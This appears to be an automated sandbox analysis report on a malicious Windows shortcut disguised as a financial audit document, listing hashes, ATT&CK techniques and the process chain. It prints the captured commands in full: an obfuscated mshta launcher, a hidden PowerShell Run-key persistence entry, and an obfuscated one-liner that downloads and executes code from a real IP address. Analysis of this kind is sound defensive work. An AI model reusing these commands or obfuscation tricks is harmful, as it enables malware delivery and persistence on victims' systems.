b271763e01e0c94fa7621f72c46540f1e6a99f27656a9636a9da20cab11b9da9

General

Target

AKT-FinAuditService.docx.lnk
Size

27KB
MD5

1425616dd18b99224472948a0442fda8
SHA1

406d63ededaf84274793601e420dd4c1b7a23bfc
SHA256

769ad49c1d893c2965e25f180288e649d42b89a0b7588f63ad7c4bdba1105537
SHA512

835fc2c4f2874c9faf155352405e7a976b51dbda62a13d484cedcd989c894a169ac8054555c8d91b3833aa8a7f2c52d145904db1ce6224743744dfc27d15209f

Score

8^/10

persistence

Malware Config

Signatures

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 740 powershell.exe

flow	pid	process
4	740	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\izy9tp76 = "cmd /c power^shell -windowstyle hidden -nop -c \"Get-Content -Raw ''C:\\Users\\Admin\\AppData\\Roaming\\izy9tp76.ini'' \| iex \""	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exemshta.exe

description	pid	process	target process
PID 1124 wrote to memory of 1316	1124	cmd.exe	cmd.exe
PID 1124 wrote to memory of 1316	1124	cmd.exe	cmd.exe
PID 1124 wrote to memory of 1316	1124	cmd.exe	cmd.exe
PID 1316 wrote to memory of 1408	1316	cmd.exe	mshta.exe
PID 1316 wrote to memory of 1408	1316	cmd.exe	mshta.exe
PID 1316 wrote to memory of 1408	1316	cmd.exe	mshta.exe
PID 1408 wrote to memory of 784	1408	mshta.exe	WINWORD.EXE
PID 1408 wrote to memory of 784	1408	mshta.exe	WINWORD.EXE
PID 1408 wrote to memory of 784	1408	mshta.exe	WINWORD.EXE
PID 1408 wrote to memory of 740	1408	mshta.exe	powershell.exe
PID 1408 wrote to memory of 740	1408	mshta.exe	powershell.exe
PID 1408 wrote to memory of 740	1408	mshta.exe	powershell.exe

Deletes itself 1 IoCs

Processes:

mshta.exe

pid process

1408 mshta.exe

pid	process
1408	mshta.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	740	powershell.exe
Token: SeIncreaseQuotaPrivilege	740	powershell.exe
Token: SeSecurityPrivilege	740	powershell.exe
Token: SeTakeOwnershipPrivilege	740	powershell.exe
Token: SeLoadDriverPrivilege	740	powershell.exe
Token: SeSystemProfilePrivilege	740	powershell.exe
Token: SeSystemtimePrivilege	740	powershell.exe
Token: SeProfSingleProcessPrivilege	740	powershell.exe
Token: SeIncBasePriorityPrivilege	740	powershell.exe
Token: SeCreatePagefilePrivilege	740	powershell.exe
Token: SeBackupPrivilege	740	powershell.exe
Token: SeRestorePrivilege	740	powershell.exe
Token: SeShutdownPrivilege	740	powershell.exe
Token: SeDebugPrivilege	740	powershell.exe
Token: SeSystemEnvironmentPrivilege	740	powershell.exe
Token: SeRemoteShutdownPrivilege	740	powershell.exe
Token: SeUndockPrivilege	740	powershell.exe
Token: SeManageVolumePrivilege	740	powershell.exe
Token: 33	740	powershell.exe
Token: 34	740	powershell.exe
Token: 35	740	powershell.exe
Token: SeIncreaseQuotaPrivilege	740	powershell.exe
Token: SeSecurityPrivilege	740	powershell.exe
Token: SeTakeOwnershipPrivilege	740	powershell.exe
Token: SeLoadDriverPrivilege	740	powershell.exe
Token: SeSystemProfilePrivilege	740	powershell.exe
Token: SeSystemtimePrivilege	740	powershell.exe
Token: SeProfSingleProcessPrivilege	740	powershell.exe
Token: SeIncBasePriorityPrivilege	740	powershell.exe
Token: SeCreatePagefilePrivilege	740	powershell.exe
Token: SeBackupPrivilege	740	powershell.exe
Token: SeRestorePrivilege	740	powershell.exe
Token: SeShutdownPrivilege	740	powershell.exe
Token: SeDebugPrivilege	740	powershell.exe
Token: SeSystemEnvironmentPrivilege	740	powershell.exe
Token: SeRemoteShutdownPrivilege	740	powershell.exe
Token: SeUndockPrivilege	740	powershell.exe
Token: SeManageVolumePrivilege	740	powershell.exe
Token: 33	740	powershell.exe
Token: 34	740	powershell.exe
Token: 35	740	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

740 powershell.exe
740 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

WINWORD.EXE

pid process

784 WINWORD.EXE
784 WINWORD.EXE
784 WINWORD.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

784 WINWORD.EXE
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

pid	process
740	powershell.exe
740	powershell.exe

pid	process
784	WINWORD.EXE
784	WINWORD.EXE
784	WINWORD.EXE

pid	process
784	WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_А^ктСве^рки.z^ip\!a!)
2⤵
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\system32\mshta.exe
mshta "C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx.lnk "
3⤵
- Suspicious use of WriteProcessMemory
- Deletes itself
- Modifies Internet Explorer settings
PID:1408

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx"
4⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""http://45.61.138.170/decide.php"""))
4⤵
- Blacklisted process makes network request
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:740

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx

Download Submit
memory/740-3-0x0000000000000000-mapping.dmp

Download
memory/784-2-0x0000000000000000-mapping.dmp

Download
memory/1316-0-0x0000000000000000-mapping.dmp

Download
memory/1408-1-0x0000000000000000-mapping.dmp

Download
memory/1408-4-0x0000000005D50000-0x0000000005D73000-memory.dmp

Filesize
140KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads